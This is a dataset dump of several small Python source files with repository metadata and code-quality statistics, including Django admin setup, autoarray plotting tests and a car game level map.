] | null | null | null | from django.contrib import admin
from django.contrib.auth import get_user_model
admin.site.register(get_user_model()) | 29.5 | 46 | 0.847458 | 19 | 118 | 5.052632 | 0.578947 | 0.208333 | 0.354167 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076271 | 118 | 4 | 47 | 29.5 | 0.880734 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
922c6959cdb3d1ae6948d3f9838d9fd85526c23d | 105 | py | Python | bans/database/common.py | examknow/bans | 2a405788770090e552e605e00e70cfb2cf910ac1 | [
"MIT"
] | null | null | null | bans/database/common.py | examknow/bans | 2a405788770090e552e605e00e70cfb2cf910ac1 | [
"MIT"
] | null | null | null | bans/database/common.py | examknow/bans | 2a405788770090e552e605e00e70cfb2cf910ac1 | [
"MIT"
] | null | null | null | class DBTable(object):
def __init__(self, db_location: str):
self._db_location = db_location
| 26.25 | 41 | 0.704762 | 14 | 105 | 4.714286 | 0.642857 | 0.454545 | 0.424242 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 105 | 3 | 42 | 35 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
922ebbdd04efb0dd43f3ace3b299d783e86149ce | 27 | py | Python | type_mappers/example.py | christabor/type_mappers | 4c992b350dd579451f8956fb6ba8f70dd6e9a42f | [
"MIT"
] | 2 | 2017-01-27T22:55:57.000Z | 2017-01-29T01:56:52.000Z | type_mappers/example.py | christabor/type_mappers | 4c992b350dd579451f8956fb6ba8f70dd6e9a42f | [
"MIT"
] | 5 | 2017-01-28T07:36:31.000Z | 2018-10-12T16:37:06.000Z | type_mappers/example.py | christabor/type_mappers | 4c992b350dd579451f8956fb6ba8f70dd6e9a42f | [
"MIT"
] | null | null | null | from type_mappers import *
| 13.5 | 26 | 0.814815 | 4 | 27 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 27 | 1 | 27 | 27 | 0.913043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9246509ac7b49513170c02e13891de80c2511c3a | 29 | py | Python | api/dorest/dorest/__init__.py | ichise-laboratory/uwkgm | 6505fa5d524336b30505804a3d241143cb1fa4bf | [
"BSD-3-Clause"
] | null | null | null | api/dorest/dorest/__init__.py | ichise-laboratory/uwkgm | 6505fa5d524336b30505804a3d241143cb1fa4bf | [
"BSD-3-Clause"
] | 6 | 2020-11-25T10:49:45.000Z | 2021-09-22T18:50:03.000Z | api/dorest/dorest/__init__.py | ichise-laboratory/uwkgm | 6505fa5d524336b30505804a3d241143cb1fa4bf | [
"BSD-3-Clause"
] | 1 | 2020-12-24T02:15:42.000Z | 2020-12-24T02:15:42.000Z | from .libs.sh import verbose
| 14.5 | 28 | 0.793103 | 5 | 29 | 4.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.92 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9291017fab8fc41f30f6a3b5858bb70a792408b4 | 73 | py | Python | ik/src/tests/python/test_Solver.py | LaudateCorpus1/ik | c472230ecd6958f7a105d7188ebb1e871ef7a8b1 | [
"MIT"
] | 363 | 2017-08-22T03:07:55.000Z | 2022-03-27T02:41:30.000Z | ik/src/tests/python/test_Solver.py | LaudateCorpus1/ik | c472230ecd6958f7a105d7188ebb1e871ef7a8b1 | [
"MIT"
] | 18 | 2019-04-05T12:43:03.000Z | 2022-01-19T16:25:48.000Z | ik/src/tests/python/test_Solver.py | LaudateCorpus1/ik | c472230ecd6958f7a105d7188ebb1e871ef7a8b1 | [
"MIT"
] | 53 | 2017-09-27T07:14:03.000Z | 2022-01-03T17:55:18.000Z | import ik
import unittest
class TestSolver(unittest.TestCase):
pass
| 12.166667 | 36 | 0.780822 | 9 | 73 | 6.333333 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164384 | 73 | 5 | 37 | 14.6 | 0.934426 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.25 | 0.5 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
2bbc1387949c1f848c4efefd89253c1a919c0873 | 30 | py | Python | app/api/__init__.py | pnguyenduong/virustracker-api | 0622558ceb431667cc0af75f4835455258ec054b | [
"MIT"
] | null | null | null | app/api/__init__.py | pnguyenduong/virustracker-api | 0622558ceb431667cc0af75f4835455258ec054b | [
"MIT"
] | null | null | null | app/api/__init__.py | pnguyenduong/virustracker-api | 0622558ceb431667cc0af75f4835455258ec054b | [
"MIT"
] | null | null | null | from app.api.routes import api | 30 | 30 | 0.833333 | 6 | 30 | 4.166667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 30 | 1 | 30 | 30 | 0.925926 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2bbf26e6f9ed571944d41bf407293fbe14a0b718 | 18,454 | py | Python | test_autoarray/plot/test_structure_plotters.py | jonathanfrawley/PyAutoArray_copy | c21e8859bdb20737352147b9904797ac99985b73 | [
"MIT"
] | null | null | null | test_autoarray/plot/test_structure_plotters.py | jonathanfrawley/PyAutoArray_copy | c21e8859bdb20737352147b9904797ac99985b73 | [
"MIT"
] | null | null | null | test_autoarray/plot/test_structure_plotters.py | jonathanfrawley/PyAutoArray_copy | c21e8859bdb20737352147b9904797ac99985b73 | [
"MIT"
] | null | null | null | import autoarray as aa
import autoarray.plot as aplt
from os import path
import pytest
import numpy as np
import shutil
directory = path.dirname(path.realpath(__file__))
@pytest.fixture(name="plot_path")
def make_plot_path_setup():
return path.join(
"{}".format(path.dirname(path.realpath(__f... | 35.217557 | 89 | 0.617427 | 2,187 | 18,454 | 4.824417 | 0.065844 | 0.048621 | 0.050517 | 0.078855 | 0.885035 | 0.862857 | 0.83575 | 0.807886 | 0.787414 | 0.785518 | 0 | 0.046303 | 0.291969 | 18,454 | 523 | 90 | 35.284895 | 0.761212 | 0.005907 | 0 | 0.641975 | 0 | 0 | 0.020492 | 0.003144 | 0 | 0 | 0 | 0 | 0.158025 | 1 | 0.034568 | false | 0 | 0.014815 | 0.002469 | 0.061728 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a60d82cbe53076fcdd04723f529bca35a26a771d | 2,270 | py | Python | mapas/mapas.py | DeadZombie14/chillMagicCarPygame | 756bb6d27939bed3c2834222d03096e90f05a788 | [
"MIT"
] | null | null | null | mapas/mapas.py | DeadZombie14/chillMagicCarPygame | 756bb6d27939bed3c2834222d03096e90f05a788 | [
"MIT"
] | null | null | null | mapas/mapas.py | DeadZombie14/chillMagicCarPygame | 756bb6d27939bed3c2834222d03096e90f05a788 | [
"MIT"
] | null | null | null | levels = [
[ # W = Muro, E = Meta, P = Jugador 1, J = Jugador 2, H = Jugador 3, I = Jugador 4,
"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW",
"W W",
"W J W",
"W P W",
"W W",
"W W",
"W ... | 32.898551 | 84 | 0.234802 | 150 | 2,270 | 3.553333 | 0.166667 | 0.292683 | 0.326454 | 0.322702 | 0.707317 | 0.502814 | 0.502814 | 0.433396 | 0.418386 | 0.418386 | 0 | 0.005427 | 0.67533 | 2,270 | 69 | 85 | 32.898551 | 0.717775 | 0.034802 | 0 | 0.838235 | 0 | 0 | 0.877113 | 0.100503 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.